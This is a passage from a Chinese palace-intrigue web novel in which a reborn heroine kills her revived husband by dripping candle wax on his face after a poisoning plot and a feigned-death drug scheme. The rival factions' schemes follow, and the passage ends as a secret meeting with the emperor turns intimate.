何大力点头,接过瓷瓶塞入怀中。 苗菁走后,何大力定了定神,转头叫来一个身形瘦小的狱卒,低声吩咐:“去,弄份‘上路饭’来,规矩不能废。” 小个子了然,很快去厨房端来一个粗木托盘,里头摆着一碗油光肥腻的炖肉,一碗烧鸭,一碗米饭,还有一小壶烈酒。 这是诏狱给予将死之人最后的晚餐。即便十恶不赦的罪人,临死也不能做个饿死鬼,都会给一份这样的断头饭。 远远的,更夫嘶哑疲惫的喊声穿透层层高墙与夜色,隐约传来:“天干物燥——小心火烛……” 丑时已过,是上路的时候了,何大力从怀中掏出瓷瓶,将里面的液体尽数倾入那酒壶,轻轻晃了晃。 何大力端起这盘索命的餐食,正准备送往戚少亭那里,忽地—— 从诏狱另一端的重犯区,猛然传来一阵激烈的金铁交击之声!紧接着是守卫的厉喝和一声凄厉的、划破死寂的呐喊: “有人闯牢!快拦住他!有人劫狱——!” 何大力浑身一激灵,有人劫狱?这可是天大的事!若是真让重犯跑了,今晚所有当值的人,从上到下,轻则丢官去职,重则脑袋搬家! 他脑子里瞬间权衡:牢里那位戚大人,不过是个文弱书生,手无缚鸡之力,牢门锁着,他插翅难飞。而那一边,是真正的危急,关乎所有人的身家性命! 几乎没有任何犹豫,何大力“砰”的一声将手中的托盘放下,拔出长刀转身冲了过去。 一时间,原本死寂的诏狱深处,脚步声、呼喝声、刀剑碰撞声乱作一团,所有人的注意力都被突如其来的越狱牢牢吸引。 没人注意到,何大力刚转身奔出的刹那,另一道身影如同鬼魅般,悄然走了过来。 此人同样穿着锦衣卫的服饰,正是锦衣卫指挥佥事宋琦。他左右扫视一眼,确认无人,随即从袖中滑出一只外观与桌上几乎一模一样的酒壶。宋琦用新壶换走了酒壶,并将酒壶迅速收入自己怀中。 整个过程不过呼吸之间,换完酒壶,宋琦立刻转身,身影消失在诏狱中。 诏狱另一端的混乱来得突然,去得也快。那几个蒙面人显然早有准备,且目的明确,听到一声尖锐的哨音,几人且战且退,迅速消失在黑夜里。 当值的锦衣卫们怒喝着追了出去,何大力并未参与追击,他转身重新朝着值房方向走去。 牢房内,戚少亭瘫软在冰冷的墙角,宛如一只死狗。 他脑中嗡嗡作响,反复回荡着薛嘉言那些冰冷刺骨的话。他汲汲营营,算计一切,却原来从头到尾,自己才是那个被玩弄于股掌之间、家破人亡却懵然不知的跳梁小丑! 脚步声响起,牢门被再次打开。何大力端着托盘走了进来,面无表情地将东西放在地上,凉凉地开口:“今夜有好吃的,且吃了吧。” 戚少亭机械地转动眼珠,瞥向那托盘。借着昏暗的光,他看清了内容托盘有肉,有烧鸭和整壶的酒。他先是一愣,随即,一股透骨的寒意从脊椎窜起,瞬间明白了这“丰盛”意味着什么。 断头饭! “不……不要!”戚少亭猛地爆发出凄厉的嘶喊,涕泪横流,“我不要死!我不能死!我要见长公主!我有秘密要告诉她!她能救我!求求你,帮我传话!救我!” 他的声音在空荡的牢房里绝望地回荡。 何大力居高临下冷漠地看着他,这事他见得多了,临死前视死如归的少,这般癫狂的多。 戚少亭的嘶喊渐渐变成了无助的呜咽。想到自己今夜就要悄无声息地死在这里,他忍不住放声痛哭起来。 第129章 两拨意外来人 何大力听得不耐烦,眉头紧皱,冷声道:“戚大人,时辰到了,该吃饭了。您要是不肯自己动手,在下不介意帮您一把。” 戚少亭吓得一哆嗦,拼命往后缩,眼神惊恐地在酒壶和菜肴之间来回扫视,不知那致命的毒药究竟下在哪里,他哪一个都不敢碰。 见他这副怂样,何大力眼中闪过一丝鄙夷。他不再废话,直接上前,粗鲁地扯下一条鸭腿,另一只手像铁钳般猛地抓住戚少亭的衣领,将他从角落拖出来。 “不……放开我!我不吃!唔——!”戚少亭拼命挣扎,手脚乱蹬,但他一个文弱书生,又惊惧交加,哪里是何大力的对手。 何大力用膝盖轻易压住他的反抗,捏开他的下巴,不由分说地将那只油腻的鸭腿狠狠杵进了他嘴里,用力往里塞。 戚少亭被噎得翻白眼,油脂和酱汁糊了满脸,混合着眼泪鼻涕,狼狈不堪。 挣扎间,何大力感觉到脚下有液体流过,低头一看,是从戚少亭裤裆处蜿蜒流出来,在地上积成一滩。 何大力嗤笑一声,嫌恶地皱了皱眉,手下动作却更狠:“呸!胆子比老鼠还小,就这点出息,也不知道是怎么得罪了苗大人。” 戚少亭终究抵不过何大力的蛮力,被迫吞下了不少肉,又被何大力粗暴地灌了半壶酒下去。 不多时,戚少亭觉得四肢百骸迅速失去了力气,眼前阵阵发黑,耳朵里的声音变得遥远模糊,两眼一翻,身体彻底软倒下去,再无动静。 何大力松开手,蹲下身,伸出两根手指,探到戚少亭鼻下。气息微弱得几乎察觉不到,又摸了摸颈侧脉搏,几无跳动。 何大力叫来人,将戚少亭的尸体抬了起来,送到诏狱外头一辆马车里。 天还黑着,东方一点鱼肚白,已经是寅时了。 马车在寂静的街道上穿行,最终停在了离戚家不远的巷口。何大力将戚少亭的尸体从马车里翻出去,“咚”的一声落在地上。 做完这些,何大力并没有回去,按照苗菁吩咐隐藏起来,等着戚少亭被人发现。 初春的凌晨,天色呈现混沌的灰蓝,寒意深入骨髓。何大力和同僚缩在墙角暗影处,冻得牙齿都有些打战,不住地搓着手哈着气。 他们按照计划,将戚少亭的尸体丢在巷口显眼处,只等天色再亮些,有早起的人经过发现,惊呼报官,顺理成章地完成“醉酒暴毙街头”的戏码。 四周一片死寂,只有远处隐约传来几声鸡鸣,更衬得这份等待漫长而难熬。 忽然,一阵极其轻微的脚步声,从巷子的另一端传来。不是一个人,是至少三四人,步伐沉稳迅捷。 何大力心中一凛,立刻屏住呼吸,示意同伴噤声,悄悄探出头望去。只见三个身着深色劲装、面蒙黑布的人影,正径直朝着戚少亭“尸体”所在的位置快步走来! 何大力脑子“嗡”的一声,想不通:这些是什么人?他们要干什么?一具“尸体”有什么好抢的? 领头的蒙面人朝戚少亭的尸体一挥手,另外两人一人抬头,一人抬脚,毫不费力地将戚少亭架了起来,转身就要走。 整个过程不过几息之间,训练有素。 何大力哪敢再藏!若真在他们眼皮子底下把人抬走了,回头如何向苗大人交代?他当即不再犹豫,从暗处猛地跳了出来,挡在巷口,同时大喝一声:“站住!什么人?” 那三个蒙面人显然没料到暗处还藏着人,俱是一惊。但他们反应极快,立刻将抬着的戚少亭往地上一扔,尸体发出沉闷的响声。三人“唰”地抽出腰间短刀,寒光一闪,便朝何大力和他的同僚扑杀过来! 何大力和同僚虽说也有些拳脚功夫,但与练家子甫一交手,便觉压力巨大,对方刀法凌厉,配合默契,招招攻向要害,显然是想速战速决。 何大力暗暗叫苦,身上很快添了几道血口子,同僚更是被一脚踹中胸口,闷哼着倒退数步。 眼看就要他们支撑不住,忽听巷口传来一声冷喝:“住手!” 伴随着这声音,两道身影迅疾掠入巷中。何大力忙瞥了一眼,顿时精神大振——来人竟是苗菁和薄广! 原来苗菁处理完手中事务,天色已近微明。他本欲回府休息,路过元宝胡同时,想起何大力他们应该正在执行“抛尸”的收尾,便顺道过来看看情况,也算督查。没想到刚靠近,就听见巷内传来兵刃交击和呼喝之声,心知有变,立刻带人赶来,正撞见何大力两人险象环生。 那三个蒙面人见对方来了强援,心知事不可为。领头者打了个尖锐的呼哨,三人极为默契,瞬间放弃进攻,虚晃一招,朝着三个不同的方向疾窜而去。 “追!”苗菁眼神一寒,对薄广下令。薄广应声,如同离弦之箭,朝着其中一个逃跑方向疾追而去。 苗菁则快步走到何大力身边,见他肩臂受伤流血,另一名狱卒更是嘴角带血,靠在墙边喘息,眉头紧紧蹙起:“怎么回事?这些人什么来路?” 何大力忍着痛,快速将刚才所见简单禀报了一遍,末了苦着脸道:“大人,属下无能,实在不知这些人是何目的,竟连尸体都要抢。” 苗菁目光冰冷地扫过地上依旧毫无声息的戚少亭,又瞥了一眼巷子两头探出的脑袋,显然刚才的打斗已经惊动了附近居民。 苗菁低声吩咐,“你们留在这里应付闻声而来的坊丁或衙役。就说……你们是下值回家,发现有人丢弃尸体,上前拦阻询问,反被凶徒打伤。其他的,一概不知,明白吗?” 何大力和同僚立刻点头:“是,属下明白!” 苗菁不再多言,最后看了一眼地上的戚少亭和巷子深处的混乱,转身迅速离开。 苗菁离开后不久,天色更亮了些。有胆大的街坊邻居按捺不住好奇,小心翼翼地凑到巷口张望。 有人大着胆子凑近去看地上那具“尸体”的面容,这一看,顿时惊呼出声:“这……这好像是戚家的大爷啊!” 第130章 灵堂惊魂 “哪个戚家?” “就是前阵子死了老爷、守孝的那个戚家!他儿子!” “天爷!真是他!他怎么死在这儿了?” 确认了身份,立刻有热心人飞奔去元宝胡同的戚家报信。 消息传到戚家,栾氏乍闻儿子死讯,如遭雷击,连一声哭嚎都没能发出,直接双眼一翻,晕厥过去,丫鬟仆妇慌忙抬人、掐人中、请大夫,乱作一团。 薛嘉言在内室听到外面慌乱,有一丝尘埃落定的轻松。但她面上绝不能显露分毫。她深吸一口气,逼出些眼泪,揉红了眼眶,然后学着栾氏的样子,在走出房门“震惊”地听完整噩耗后,也恰到好处的“悲呼”一声,身子软软向后倒去,被眼疾手快的司雨和拾英扶住。 “大奶奶!大奶奶晕过去了!”下人们又是一阵忙乱。 戚倩蓉本就没什么主见,听到噩耗六神无主,只知道捂着脸呜呜痛哭。见母亲和嫂子都“晕”了,她只能强撑着,一边抹泪一边跟着报信的人去巷口认尸。 到了地方,看到哥哥面色青白、无声无息地躺在地上,戚倩蓉又是一阵嚎啕大哭,几乎站立不稳。在坊丁和后来赶到的衙役催促下,她抽抽噎噎地确认了身份,又跟着去衙门录口供。 衙门派了仵作验尸,仵作粗略检查,只见体表有些许擦伤,口鼻无异物,身上有酒气,很快便给出了“醉酒意外死亡”的结论,签了尸格。 等戚倩蓉办完所有手续,雇人将“尸体”用草席裹了抬回戚家,已是午后时分。戚家门楣已经新挂起的白灯笼,一片凄清。 薛嘉言指挥下人采买白布、麻衣、纸钱、棺木等一应丧葬用品,哀乐低回,灵堂草草设了起来。 吕氏在薛家听到消息,惊得手里的茶盏都摔了,立刻命人备车赶了过来。见到女儿一身缟素、面色苍白地站在灵前,吕氏心如刀绞,一把抱住薛嘉言,未语泪先流:“我的儿啊……你的命怎么这么苦……,这又……这可让你往后怎么活啊……” 她哭得真情实感,是为女儿年轻守寡、未来无依而痛心。 薛嘉言心中复杂,既感激母亲的疼爱,又无法言说真相,只能反手轻轻抱住母亲,低声安慰:“娘,别哭了,我没事的……这都是命,女儿……受得住。” 这话听在吕氏耳中更是心酸,只觉女儿是在强忍悲痛。 同一时间,长乐宫内殿。 沁芳垂首,低声向太后禀报:“娘娘,宋琦那边传来消息。他按计划,将苗菁给的毒药换成了‘龟息散’,服下后假死两三日便可苏醒。原打算等埋尸,夜间再悄悄将人挖出带走,没想到苗菁那边竟是直接抛尸街头。” 她顿了顿,声音更轻:“宋琦的人一直暗中盯着,见尸体被弃,本想等无人时捡回来,谁知竟有人在暗中看守,没多久苗菁也亲自到了。咱们的人怕暴露身份,不敢硬抢,只能先行撤离。如今,戚少亭的尸体已被戚家领回,正在办丧事。” 太后斜倚在暖榻上,手中捻着一串碧玉佛珠,闻言秀眉微蹙,疑惑道:“苗菁此举意欲何为?此事果然不简单。让宋琦再想办法,把人弄出来!等他醒了,给哀家好好审一审,这里面究竟有什么事。” 沁芳道:“宋琦说了,这事蹊跷,只怕戚家有人盯着,现在不好动手。所幸没人知道他是假死,等戚家人将他下葬了,他再带人去挖出来……” 太后没耐烦听这些细节,摆摆手道:“由他去安排吧,我只想知道这其中到底是什么缘故。” 戚家灵堂。 白烛高烧,火光跳跃,映着正中那口薄棺和棺前“戚少亭”的灵位,气氛阴森凄冷。 栾氏伤心过度,回来后又哭晕过去一次,被抬回房灌了安神汤昏睡。戚倩蓉奔波一日,身心俱疲,也早早被劝去歇息了。 偌大的灵堂,只剩下薛嘉言带着司雨守夜。下人们跪在角落,强打精神,但眼皮也开始打架。 薛嘉言跪在蒲团上,机械地拿起一张又一张黄表纸,投入面前的火盆中。火舌舔舐着纸钱,将其迅速化为灰烬,盘旋上升。她脸上没什么表情,目光落在跳跃的火光上,心中却在飞速盘算后面的事情。 “呜——呜——” 夜深人静,寒风越发凛冽,呼啸着穿过庭院,吹得灵堂虚掩的门扉“哐当”作响,又猛地推开一条缝隙,冷风灌入,吹得白幡晃动,烛火明灭不定。在这寂静的深夜里,这声音显得格外诡异瘆人。 跪在角落的一个小丫鬟吓得一哆嗦,低低惊呼一声。 司雨皱了皱眉,起身走到门边,用力将两扇门合拢,插上门闩,将凄风隔绝在外。 寒风似乎暂歇了片刻,灵堂内越发寂静,落针可闻。也正是这份死寂,让那原本被风声掩盖的细微声响,逐渐清晰地传入耳中。 “笃……笃笃……笃……” 断断续续,沉闷而规律,像是用指节或什么硬物,在一下下敲击着厚实的木板。 薛嘉言原本纷乱的思绪瞬间被这声音攫住。她凝神细听,那声音并非来自门外,也非屋顶,竟似乎……是从灵堂中央那口薄棺里传出来的! 薛嘉言心中一凛,附耳到身旁的司雨耳边,用极低的气音问道:“司雨,你听见棺材里有什么声音了吗?” 司雨正有些困倦,闻言一个激灵,她屏住呼吸,侧耳倾听,那“笃笃”声虽微弱,但在寂静的灵堂里却不容错辨,而源头真的像是那口棺材!她的脸色“唰”地一下白了,惊恐地看向薛嘉言。 薛嘉言脸上也没了血色,但她眼神中的惊惧迅速被一种冰冷和锐利取代。她竖起一根手指抵在唇边,示意司雨不要出声,更不能惊动旁人。 心跳如擂鼓,但薛嘉言的脑子却在高速运转。经历过重生这种匪夷所思之事,她对世间一些超出常理的可能,接受度远比常人要高。不管戚少亭是还没死透,还是借尸还魂,抑或是像她一样重生,她都不能让他活过来! 他必须在今晚死透! 第131章 我还送你走 薛嘉言深吸一口气,强行压下翻涌的心绪,抬高了声音,对还守在灵堂角落、已经有些昏昏欲睡的那两三个下人道: “今日大家都辛苦了,忙前忙后没个停歇。接下来几日丧仪还有的忙,你们先下去歇息一个时辰吧,喝口热茶暖暖身子。这里有我跟司雨守着就够了。” 下人们确实又累又困,闻言都有些迟疑,互相看了看。薛嘉言又温言道:“去吧,这边有事,我自会叫你们。” 见她态度坚决,语气温和,下人们感激地行了礼,纷纷退出了灵堂,还体贴地从外面将门轻轻掩上。 灵堂内,只剩下薛嘉言、司雨。 门一关,司雨的恐惧更甚,声音都带了颤:“主……主子,现在怎么办?里面……里面是不是……”她不敢说出那个猜想。 薛嘉言缓缓站起身,低声吩咐:“司雨,去把棺盖推开。” 按照丧仪规矩,停灵期间棺木并不钉死,棺盖只是虚虚地合上,以便亲友最后瞻仰遗容。 薛嘉言本就无心为戚少亭风光大葬,置办的是一副最寻常的杉木棺材,木质轻软,即便是女子,稍用力也能推动棺盖。 司雨心跳得如同要撞破胸膛,手脚都有些发软,但她对薛嘉言的忠诚压倒了一切恐惧。她咬着下唇,走到棺材一头,双手抵住厚重的棺盖边缘,用力往另一侧推去。 “嘎吱……吱呀……” 木质摩擦发出细微却刺耳的声响,在寂静的灵堂里被无限放大。棺盖缓缓移动,露出一道越来越宽的缝隙,烛光随之投入幽暗的棺内。 薛嘉言端着烛台,一步一步走近。摇曳的烛光将她自己的影子拉长,投在白色的帷幕上,形如鬼魅。她深吸一口气,稳住微微发颤的手,将烛台举高,探头朝棺材内看去—— 烛光昏黄,首先映入眼帘的是戚少亭身上那套匆忙换上的寿衣。然后,是那张青白僵冷、属于死人的脸。 然而,就在这张脸上,一双眼睛竟然是睁着的! 瞳孔在烛光映照下微微收缩,充满了难以言喻的惊惧、痛苦,以及一种濒死的求生欲。这双眼睛正死死地、一眨不眨地盯着探过头来的薛嘉言! 薛嘉言心脏骤然紧缩,仿佛被一只无形的手狠狠攥住,血液瞬间冲上头顶,又急速褪去,带来一阵眩晕。 任谁在深夜灵堂,面对一具理应死透的“尸体”突然睁眼凝视,都会魂飞魄散。 但薛嘉言到底是死过一次、又从地狱爬回来的人。那瞬间的本能恐惧被她以强大的意志力死死压住。她稳住身形,强迫自己再次看向棺材里。 戚少亭依旧保持着平躺的姿势,除了那双异常明亮的眼睛和极其微弱的胸膛起伏,他看起来与死人无异。他的嘴唇嚅动着,似乎想说什么,却只能发出极其细微的“嗬……嗬……”气音,连完整的音节都吐不出。他的四肢也似乎无法动弹,只有眼珠还能艰难地转动。 锦衣卫出手,怎么会半死不活? 薛嘉言脑海中飞速闪过这个念头。但她很快抛开了探究原因的思绪。原因不重要,重要的是结果——戚少亭没死透,他有意识,他能看见她,也许还能活过来。 最初的惊吓过后,一股难以言喻的、混合着宿命感和残忍快意的情绪涌了上来。 她原本遗憾于无法亲手了结他,可现在,老天竟然把这样一个毫无反抗之力、却又清醒地感知着一切的戚少亭,送到了她的面前。 一具有意识的“尸体”。 一个可以随她心意,慢慢“处理”的仇人。 还有比这更“好”的机会吗? 薛嘉言慢慢平静下来,甚至,唇角几不可察地弯起一丝弧度。 她重新靠近棺材,烛光将她半边脸映得明亮,半边脸隐在阴影中。她俯视着戚少亭,声音压得极低,平静得令人毛骨悚然: “你没死?” 戚少亭无法回答,只能用尽力气眨了眨眼,眼中爆发出更强烈的祈求光芒,泪水顺着眼角滑入鬓发。他在求她,求她救他。 薛嘉言看懂了他的眼神,却只觉得无比讽刺。 “真可惜啊,戚少亭。”她的声音轻柔如呢喃,却字字诛心,“你要是真的死了,一了百了,该多好。也省得……再受一遍罪。” 戚少亭眼中的祈求瞬间被巨大的惊恐覆盖。他似乎想挣扎,想摇头,但身体如同被巨石压住,只有眼珠剧烈地颤动。 薛嘉言低头,目光落在自己微微隆起的小腹上,可惜了,身子不便,不能跳入棺中,用更直接的方式了结。 她转向脸色惨白的司雨,声音恢复了惯常的平稳,命令道:“去,把备用的蜡烛都拿过来。” 司雨立刻转身,从灵堂角落堆放杂物的竹筐里,抱出了一大捧崭新的白蜡烛。丧期耗费烛火,这些是早就备下的。 薛嘉言接过蜡烛,从中抽出几根,语气平淡:“你去门口守着,别让任何人靠近。我有些话要单独跟他说。” 司雨快步走到灵堂门口,背对着里面,竖起耳朵警惕着外面的动静。 现在,偌大的灵堂中央,烛火摇曳中,只剩下薛嘉言,和棺材里那个睁着眼、动弹不得的“活死人”。 薛嘉言将多余的蜡烛放在棺沿,手持一根点燃的蜡烛,再次俯身,低头细细端详戚少亭的脸。 平心而论,这张脸确实生得不错。眉目清朗,鼻梁挺直,即便此刻因恐惧和痛苦而扭曲,仍能看出昔日的英俊轮廓,带着一股读书人特有的文秀之气。若非如此,当年母亲也不会动了心思将她许配;若非如此,前世今生的戚少亭,或许也入不了长公主那双挑剔的眼。 只可惜,金玉其外,败絮其中。这副好皮囊下,包裹的是一个自私、卑劣、道貌岸然的灵魂。这样的人,越是长得好,越是容易迷惑人,也越是会害人。 薛嘉言手中的蜡烛缓缓移动,最终悬停在戚少亭脸部的正上方。 戚少亭的瞳孔在烛光映照下急剧收缩,里面盛满了濒死的惊骇和无尽的哀求。水光迅速积聚,化作泪水,从眼角汹涌滑落,没入鬓发和寿衣的领口。那只一直以微弱力道敲击棺板的手,此刻用尽全身残存的力气,手指痉挛地向上抓挠,徒劳地想要抬起,想要抓住一丝渺茫的生路。 薛嘉言看着他这副徒劳挣扎的模样,轻轻笑了一声。 “上辈子,”她缓缓开口,声音低柔,仿佛在叙述一个久远的故事,“是我送你走的。这辈子……”她顿了顿,目光扫过自己的腹部,语气里多了一丝嘲弄与释然,“还是我送你走。不过这一次,我就不陪你了。” 第132章 扭曲的死法 “还是我送你走。不过这一次,我就不陪你了。” 话音落下的瞬间,薛嘉言手腕几不可察地微微一倾。 一滴滚烫的蜡油,如同烧红的泪珠,精准地滴落在戚少亭的脸上。 “嗤——”一声极其细微的、皮肉被灼烫地轻响。 戚少亭脸上的肌肉猛地一抽,随即不受控制地剧烈痉挛、抖动起来! 他双眼骤然瞪大到极限,眼球几乎要凸出眼眶,里面布满了红血丝和极致的痛苦!他想叫,喉咙里却只能发出更加急促、更加嘶哑的“嗬嗬”声,像是被掐住了脖子的困兽。 薛嘉言的手稳如磐石。她没有停顿,手腕继续保持着那个微倾的角度。 一滴,两滴,三滴…… 滚烫的蜡油接连不断地滴落,落在他的额头、眉心、眼皮、鼻梁、脸颊……蜡油迅速冷却、凝固,将他的皮肤烫出红肿,又覆盖上一层惨白粘腻的“泪痕”。 戚少亭的身体开始剧烈地抽搐,不是之前那种微弱的颤动,而是全身性的、不受控制的痉挛。寿衣下的四肢绷紧又放松,喉咙里的“嗬嗬”声越来越急促,也越来越微弱。他的眼神从最初的极度痛苦和恐惧,渐渐变得涣散、空洞。 薛嘉言面无表情地看着。她又拿起另一根蜡烛,就着第一根的火焰点燃。 两根蜡烛,同时倾斜。 更多的蜡油,如同无声的泪雨,更密集地滴落。 很快,戚少亭的整张脸,都被一层厚薄不均、斑驳丑陋的蜡油覆盖。 他喉咙里细微的“嗬嗬”声终于彻底消失了。身体的抽搐也慢慢平息下来,最终归于一片死寂。 薛嘉言看着棺内那张被蜡油覆盖、面目全非的脸,心中一片空茫的平静。 前世今生,两辈子的纠葛、怨恨、恐惧,终于随着这滚烫的蜡油,彻底冷却、凝固、封存。 戚少亭,这一次,是真的死了。 第二日,薛嘉言以“天气渐暖,恐尸身有变,且母亲妹妹俱病,不宜久停灵柩,令亡者不安”为由,不顾几个老仆认为停灵三日方合礼数的劝阻,强势地决定当日封棺下葬。 栾氏卧病在床,神思恍惚,戚倩蓉也心力交瘁,无力置喙。加之薛嘉言如今是戚家实际的主事人,行事竟出奇顺利。匆匆做了简单的法事,一口薄棺便在一小群神情麻木的下人护送下,抬到了城外一处僻静的坟地,草草掩埋了事。 夜黑风高,正是子夜时分。几道如同鬼魅般的黑影,悄无声息地出现在戚少亭的新坟旁。 “动作快些,药效快过了,再耽搁下去,就算挖出来也救不活了,白费功夫。”一个低沉的声音催促道。 几人显然是干惯了这种勾当,手脚麻利,工具齐全。铁锹、短镐齐上,不多时,便将坟土刨开大半,露出了那口杉木棺材。 一个黑影上前撬开了棺盖,推开一条缝。 为首之人正是宋琦,他示意手下将灯笼凑近。昏黄跳动的光晕投入棺内,照亮了里面的情形。 宋琦凝神看去,脸上瞬间呈现愕然。 棺中之人穿着寿衣,双手姿势扭曲,十指成爪,死死扣在身侧棺木上,仿佛生前经历了极致的痛苦与挣扎。但这些都不是最令人惊骇的。 最骇人的是他的脸——整个头脸,竟被一层灰白的凹凸不平的蜡状物严密封住! 那蜡油覆盖了五官,在灯笼光下泛着一种冰冷诡异的光泽,口鼻部位都糊得严严实实,只在边缘处能看到被灼烫过的红肿皮肤。眼睛的部位是两个被蜡糊住的、微微凸起的轮廓,仿佛死不瞑目,却连最后的目光都被这层死亡面具禁锢。 这分明是被活活闷死、烫死的惨状! “这……”宋琦身旁的一个手下倒抽一口冷气,“怎么会这样?” 宋琦的脸色在灯笼光下变得极其难看。 他千算万算,算准了假死药的时效,却万万没算到,戚少亭竟然这么死了。 他怕戚家有人盯着没敢动手,但在此期间还是派人看着呢,确认“尸体”入殓、封棺、下葬,期间除了戚家的主子和下人,并无外人接近灵堂或坟墓! 戚家只有三位主子——戚少亭的母亲栾氏、妹妹戚倩蓉、妻子薛嘉言。按礼,灵堂守夜必须是至亲之人…… 难道是这三人中的一个,对戚少亭下了毒手? 宋琦只觉得一阵头疼。人死了,不管是谁杀的,对他们来说,计划彻底失败了。戚少亭嘴里的秘密都随着这层冰冷的蜡油,被永远封死在这口薄棺里了。 “头儿,现在怎么办?”手下低声问道,看着棺中惨状,也觉棘手。 宋琦沉默片刻,挥了挥手,“把土填回去,恢复原样,不要留下痕迹。” 手下们依言行事,动作更快地将泥土回填,尽量让坟丘看起来和之前一样。 宋琦站在渐渐被掩埋的棺材旁,夜风吹得他衣袍猎猎作响,心中却是冰凉一片。太后那边还在等着他的回信,可戚少亭人死了,他还能怎么办呢? 难道他能去质问苗菁或是皇上吗? 他什么都不能问,为今之计也只有派人看守戚家,看看能不能找到戚少亭被关的秘密。 “走。”宋琦最后看了一眼那座迅速恢复原状的新坟,转身没入黑暗。 长宜宫内,烛影摇红,龙涎香袅袅如雾。 姜玄坐在案前看奏章,忽然开口问了一句:“她还好吗?” 他声音很轻,却让跪在阶下的张鸿宝脊背一紧。 “薛主子好着呢。”张鸿宝垂首,声音恭谨,“虽披麻戴孝,气色尚稳,应无大碍。” “朕今晚想见她,”姜玄沉吟片刻道,“就去戚家吧。” 张鸿宝:“老奴这就去安排。” 元宝胡同,戚府。 这座不起眼的宅子,黑暗中却有许多双眼睛在看着。有姜玄派过去的暗卫,也有不死心想要探究秘密的宋琦派出的人。 薛嘉言听拾英说姜玄今夜要来,心有些乱,总觉得有些不安。 第133章 你辛苦了,你也辛苦了 姜玄要夜探戚家,苗菁奉命先去布防。 戚家一直在姜玄的掌控中,周围的暗卫轮班值守。就在这看似滴水不漏的布防中,苗菁最先察觉到了异样。 他伏在一处邻宅的飞檐阴影下,目光如鹰隼般扫视,瞧见斜对面一处民宅的斗拱阴影里,有一道几乎与黑暗融为一体的轮廓。 苗菁一开始以为那也是姜玄派过来的人,他冲对方发暗号,对方迟疑,并没有马上回复。 苗菁心觉不对,迅速跃起飞冲过去。 对面那道黑影便如受惊的狸猫,从斗拱后弹射而出,足尖在瓦片上一点,悄无声息地滑出数丈,直往民宅密集的屋脊群落中窜去。 “追!”苗菁低喝一声。他身后几道黑影闻声而动,如夜鸦般掠起,紧咬住前方那抹飘忽的影子。 那人轻功了得,在高低错落的房舍顶上如履平地,专挑屋檐夹角、烟囱窄道这类难以借力追赶的路线。 追逐从寂静的旧宅区一路向东南,屋舍渐稀,水气渐浓,前方赫然便是横贯外城的漕河支流。春寒料峭,河面虽未结冰,但夜间寒气侵人,水光在黯淡月色下泛着冰冷的光。 眼看河岸在即,前方已无连绵屋脊可供腾挪,那黑影猛地回身,袖中似乎有暗器微光一闪,直冲苗菁面门而来。 苗菁拔剑抵挡,那人几发暗器皆落空,眼见避无可避,索性一横心跳入河里。 春夜河水,冰冷刺骨,这般毫不犹豫地跳下去,若非水性极佳且有特殊准备,便是抱了必死或重伤的觉悟来切断线索。 “薄广!”苗菁厉声唤人,“你带人,沿河两岸上下游仔细搜寻!活要见人,死要见尸!留意所有出水口、船只、桥洞,还有附近可能接应的人!” “是!”薄广领命,立刻带人散开。 苗菁不再看那吞没了一切痕迹的河面,转身疾驰而回。戚家那边尚未彻底排查干净,皇上可能即将驾临,此刻容不得半点疏忽。他必须以最快的速度,确认是否还有别的“眼睛”潜伏。 回到戚家外围,苗菁亲自带队,如同最细密的篦子,将方圆数百步内每一寸可疑的阴影再次梳理。直到确信再无异状,苗菁去了距离不远的张鸿宝的住处,找到甘松道:“递消息给张公公,禀明皇上:戚家周围发现不明暗桩,身手极佳,追踪至漕河支流,其人为断线索,已投河遁走,目前正在搜寻。请皇上……圣裁是否仍要移驾来此。” 张鸿宝听闻竟有外人窥伺,惊得脊背发凉,不敢耽搁,立刻禀报了姜玄,并忧心忡忡地劝道:“皇上,戚家已被人盯上了,深浅未知,您此刻过去,只怕……凶险难料。龙体安危要紧,薛主子那边既已看过,不如还是转道青瓦胡同,更为稳妥?” 姜玄眸色深沉,指尖在案几上缓缓敲击。他夜探薛嘉言,是念她身子不便,不想她劳顿伤神,这才亲自来看戚家一眼,却未料想,戚少亭人都下葬了,这空宅子竟还能引来不明的窥伺。 他心中翻腾着冷意与疑虑,沉默片刻,终是冷声开口:“传朕口谕,让苗菁全力追查此事,务必弄清是对方受谁指使,在窥探什么。” 姜玄心中顾忌太多,但又抵不住想见她的冲动,只得委屈薛嘉言,让张鸿宝去安排她乔装到青瓦胡同一见。 薛嘉言正在家中等着姜玄,闻言便知出了事情,不然姜玄不会临时又变动的。她在拾英的帮助下乔装一二,趁着夜色去了青瓦胡同那栋宅子。 听到熟悉的脚步声,姜玄几步上前,未等她行礼,便已握住了她微凉的手。薛嘉言抬眸看向姜玄,他眼底有着血丝,下巴也冒出了淡淡的青茬,显然这阵子忙乱,未曾好生休息。 “辛苦你了,”他的声音比平日低沉些,“这么晚,还要你折腾这一趟。” 薛嘉言摇了摇头,露出温婉微笑:“皇上才辛苦。还有两个时辰便要早朝了,您不该出来的。” 姜玄牵着她走到暖榻边坐下,将她的手拢在掌心轻轻摩挲。 “有些日子没见你,着实想念。过阵子五王陆续抵京,朝中事务只怕更如乱麻,难得片刻清闲。趁你如今行动尚算方便,多见几面也是好的。” 薛嘉言温柔地依偎在他胸前,鼻尖萦绕着他身上熟悉的龙涎香,听着那沉稳有力的心跳,刚刚因等待而悬起的心,慢慢落回了实处。 “这几日本该将你的诰命封赏定下,礼部却还在为品级扯皮,要再等等。” 这事并非礼部拖延,而是他今夜得知戚家被窥伺后,临时决定暂缓。在摸清暗处那双眼睛的来历和目的之前,任何可能将薛嘉言推到明处的荣宠,都可能是催命的符咒。他不能冒这个险。 薛嘉言脸颊在他衣襟上轻轻蹭了蹭,声音柔缓:“不着急的。皇上日理万机,臣妾这点小事,实在不值得您日日挂怀。一切但凭皇上和礼部做主便是。” 姜玄低下头,亲了亲她的额头,目光掠过她身上那件素净无纹的浅青色袄裙,连鬓边都只簪了一朵小小的白绒花。这是在为戚少亭戴孝。 一股莫名的郁气悄然堵上胸口。他知道这情绪来得有些无理取闹。戚少亭已死,薛嘉言身为未亡人,守孝是礼法,也是她避免落人口实、保护自身的必要之举。可理智是一回事,亲眼见她为另一个男人穿着素服,心底那点属于男人的独占欲,依旧不受控制地翻腾起来。 姜玄的眼神暗了暗,搂着她的手臂收紧了些,原本规规矩矩放在她腰侧的手,开始有些不老实起来。 姜玄能清晰地感受到掌下身躯因孕期而发生的变化,她的柔软,远比记忆中和想象中更为丰腴饱满,触手是绵软滑腻,又带着饱满欲滴的弹性。 姜玄的呼吸不易察觉地重了一分。太医的话在耳边回响,他的心头火热起来。 